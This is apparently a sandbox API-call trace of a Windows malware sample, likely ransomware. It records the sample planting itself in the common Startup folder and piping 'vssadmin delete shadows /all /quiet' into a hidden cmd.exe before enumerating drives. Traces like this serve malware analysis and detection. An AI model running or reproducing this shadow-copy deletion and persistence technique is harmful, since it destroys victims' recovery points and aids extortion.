	[0186.994] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpDst=0x7b5d40, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x78
	[0186.994] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7c5d48 | out: hHeap=0x750000) returned 1
	[0186.995] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b5d40 | out: hHeap=0x750000) returned 1
	[0187.049] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x2438020
	[0187.085] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0187.085] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78dbe8
	[0187.085] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0187.085] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78dc38
	[0187.085] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0187.085] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0187.085] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0187.085] lstrlenW (lpString="kernel32.dll") returned 12
	[0187.085] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dbe8 | out: hHeap=0x750000) returned 1
	[0187.085] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0187.086] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dc38 | out: hHeap=0x750000) returned 1
	[0187.086] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0187.086] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0187.086] CloseHandle (hObject=0x244) returned 1
	[0187.086] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0187.086] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78dbe8
	[0187.086] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0187.086] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78d9e0
	[0187.086] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0187.086] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0187.087] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0187.087] lstrlenW (lpString="kernel32.dll") returned 12
	[0187.087] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78d9e0 | out: hHeap=0x750000) returned 1
	[0187.087] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0187.087] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dbe8 | out: hHeap=0x750000) returned 1
	[0187.087] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x2438020 | out: hHeap=0x750000) returned 1
	[0187.090] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x794d28 | out: hHeap=0x750000) returned 1
	[0187.091] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a4d30 | out: hHeap=0x750000) returned 1
	[0187.091] lstrlenW (lpString="%windir%\\System32") returned 17
	[0187.091] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7675f8 | out: hHeap=0x750000) returned 1
	[0187.091] lstrlenW (lpString="%appdata%") returned 9
	[0187.091] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78d9b8 | out: hHeap=0x750000) returned 1
	[0187.091] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0187.092] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78d918 | out: hHeap=0x750000) returned 1
	[0187.092] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0187.092] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x767b98 | out: hHeap=0x750000) returned 1
	[0187.092] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0187.092] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78d850
	[0187.092] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78d850, Size=0x40) returned 0x7675f8
	[0187.092] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7675f8, Size=0x80) returned 0x7b5998
	[0187.092] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f78
	[0187.092] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f78, Size=0x20) returned 0x78d918
	[0187.092] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1fffc) returned 0x794d28
	[0187.092] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x7b5d40
	[0187.093] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x7c5d48
	[0187.093] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0187.093] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78dbe8
	[0187.093] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78dbe8, Size=0x40) returned 0x7677a8
	[0187.093] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7677a8, Size=0x80) returned 0x7b5910
	[0187.093] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b5910, Size=0x100) returned 0x793568
	[0187.093] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0187.093] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793568 | out: hHeap=0x750000) returned 1
	[0187.093] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x7b5d40, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0187.093] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7c5d48 | out: hHeap=0x750000) returned 1
	[0187.094] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b5d40 | out: hHeap=0x750000) returned 1
	[0187.095] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0187.095] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0187.095] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0187.095] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0187.095] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xf14, dwThreadId=0xf18)) returned 1
	[0187.150] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0187.150] WriteFile (in: hFile=0x24c, lpBuffer=0x7b5998*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x7b5998*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0187.150] CloseHandle (hObject=0x25c) returned 1
	[0187.150] CloseHandle (hObject=0x258) returned 1
	[0187.150] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x794d28 | out: hHeap=0x750000) returned 1
	[0187.150] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0187.150] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b5998 | out: hHeap=0x750000) returned 1
	[0187.150] lstrlenW (lpString="%comspec%") returned 9
	[0187.151] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78d918 | out: hHeap=0x750000) returned 1
	[0187.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0187.153] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x792f30
	[0187.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x792f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0187.154] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e310
	[0187.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x78e310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0187.155] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f78
	[0187.155] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f78, Size=0x20) returned 0x78d9e0
	[0187.155] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78d9e0, Size=0x40) returned 0x767688
	[0187.155] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0187.155] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xd0) returned 0x76b4d0
	[0187.155] GetLogicalDrives () returned 0x4
	[0187.155] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10014) returned 0x794d28
	[0187.155] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f78
	[0187.155] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f78, Size=0x20) returned 0x78dbe8
	[0187.155] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78dbe8, Size=0x40) returned 0x767b98
	[0187.155] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767b98, Size=0x80) returned 0x7b4f80
	[0187.155] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b4f80, Size=0x100) returned 0x7935f8
	[0187.155] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7935f8, Size=0x200) returned 0x7935f8
	[0187.155] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7935f8, Size=0x400) returned 0x7a4d48
	[0187.155] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7a4d48, Size=0x800) returned 0x7a4d48
	[0187.155] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7a4d48, Size=0x1000) returned 0x7a4d48
	[0187.155] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x7b5d40
	[0187.155] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f78
	[0187.155] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x792c48
	[0187.155] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x78e3c0
	[0187.155] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x792dc8
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x78e3d0
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792df8
	[0187.156] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e3d0, Size=0x8) returned 0x78e390
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792d38
	[0187.156] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e390, Size=0x10) returned 0x792ed0
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792e10
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792db0
	[0187.156] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792ed0, Size=0x20) returned 0x78db48
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792c90
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e2e0
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x792e28
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x792c78
	[0187.156] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78db48, Size=0x40) returned 0x767ac0
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x792d20
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x792d50
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x792d08
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x792e58
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792eb8
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792ee8
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e330
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792ed0
	[0187.156] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767ac0, Size=0x80) returned 0x7b4f80
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792d68
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792e40
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792cc0
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792e70
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792f00
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x792cd8
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792c60
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e2c0
	[0187.156] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792f18
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792e88
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x792ca8
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792de0
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x792ea0
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x792c30
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6098
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a60c8
	[0187.157] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b4f80, Size=0x100) returned 0x7935f8
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6308
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6350
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6290
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7a6188
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a61a0
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a62f0
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e3d0
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6140
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a60e0
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6278
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6) returned 0x78e3f0
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6080
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6248
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e2f0
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a60f8
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a61e8
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6260
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6110
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6158
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6128
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x7a6218
	[0187.157] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6320
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7a6200
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6230
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a61b8
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a62a8
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6338
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e350
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6368
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a61d0
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6170
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a62c0
	[0187.158] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7935f8, Size=0x200) returned 0x7935f8
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a60b0
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e360
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a62d8
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a63c8
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a63e0
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6458
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6530
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6410
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6380
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6500
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6470
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6398
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a63f8
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6428
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a64a0
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6518
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a63b0
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6440
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6488
	[0187.158] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a64b8
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a64e8
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a64d0
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5fa8
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e390
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5d80
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5e70
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5de0
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e240
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5d98
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a5df8
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5f90
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5dc8
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5f60
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5fc0
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5ea0
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5eb8
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a5e40
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6068
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5e10
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6038
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5f18
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a5e28
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5e58
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5f48
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5e88
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5ed0
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5db0
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5ee8
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5f00
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e250
	[0187.159] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6) returned 0x78e260
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5fd8
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5f30
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5f78
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a5ff0
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6008
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6020
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6050
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6a08
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6ab0
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a69c0
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6a38
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6a80
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6a20
	[0187.160] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7935f8, Size=0x400) returned 0x7a7160
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6978
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6b40
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6b58
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a68e8
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6a68
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a69a8
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6a50
